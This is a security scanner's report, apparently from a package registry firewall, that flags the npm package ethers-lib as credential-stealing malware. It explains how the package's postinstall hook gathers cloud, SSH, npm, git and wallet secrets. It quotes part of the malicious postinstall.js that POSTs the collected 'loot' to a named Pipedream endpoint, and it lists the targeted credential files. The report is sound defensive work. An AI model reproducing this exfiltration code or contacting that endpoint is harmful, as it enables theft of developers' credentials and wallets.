registry / Credential exfiltration / ethers-lib

ethers-lib

Ethereum library - extended utilities and helpers for ethers.js

This report shows the evidence for ethers-lib@1.0.1. 5 of 5 known versions are blocked or flagged. The newest version, 1.0.4, is blocked. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct source inspection confirms an automatic install-time secret-harvesting and exfiltration chain. This is concrete malicious behavior, not a package-aligned network use.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation invokes the postinstall lifecycle hook.

Impact

Exposure of cloud credentials, SSH keys, npm tokens, Git configuration, environment secrets, and cryptocurrency wallet material.

Mechanism

install-time credential harvesting and HTTPS exfiltration

Attack narrative

Installing the package runs postinstall.js automatically. It reads targeted secret files and scans hidden home-directory folders for key, wallet, seed, JSON, PEM, and key files, serializes their contents with host and username metadata, and sends the result in an HTTPS POST to a fixed Pipedream endpoint.

AI rationale

Direct source inspection confirms an automatic install-time secret-harvesting and exfiltration chain. This is concrete malicious behavior, not a package-aligned network use.

Evidence

package.jsonpostinstall.jsindex.js.env.env.local.env.production.env.development.npmrc.aws/credentials.aws/config.ssh/id_rsa.ssh/id_ed25519.ssh/id_ecdsa.config/solana/id.json.ethereum/keystore.gitconfig

Network endpoints1

enxhcjpo5ev.x.pipedream.net

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs `node postinstall.js` during installation.
postinstall.js collects .env, AWS, SSH, Solana, Ethereum, npm, and Git files from the home directory.
postinstall.js scans hidden home subdirectories for wallet/key/seed-like files.
Collected contents are POSTed to enxhcjpo5ev.x.pipedream.net.

Evidence against

index.js only re-exports the ethers dependency.
No legitimate install-time setup behavior is present.

Behavioral surface

Source

FilesystemNetwork

Supply chainNo supply-chain packaging signals triggered.

Manifest

WildcardDependency

scanned 2 file(s), 2.18 KB of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> postinstall.js const https = require("https"); const raw = JSON.stringify(loot); const req = https.request({ hostname: "enxhcjpo5ev.x.pipedream.net", port: 443, path: "/c", method: "POST", headers: {"Content-Type":"application/json","Content-Length":raw.length}... req.write(raw); req.end();

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

postinstall.jsView on unpkg

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

Findings

2 High3 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable External Post Callbackpostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumWildcard Dependency

LowScripts Present

LowFilesystem

Affected versions and remediation

This report applies to ethers-lib@1.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing ethers-lib@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 11:09:37.562Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

1.0.4latestMaliciousMalwareBlockPublishedAug 5, 2026, 2:02 AM 1.0.3MaliciousMalwareBlockPublishedAug 5, 2026, 1:51 AM 1.0.2MaliciousMalwareBlockPublishedAug 5, 2026, 1:46 AM 1.0.1shownMaliciousCredential ExfiltrationBlockPublishedAug 5, 2026, 1:45 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other credential exfiltration packages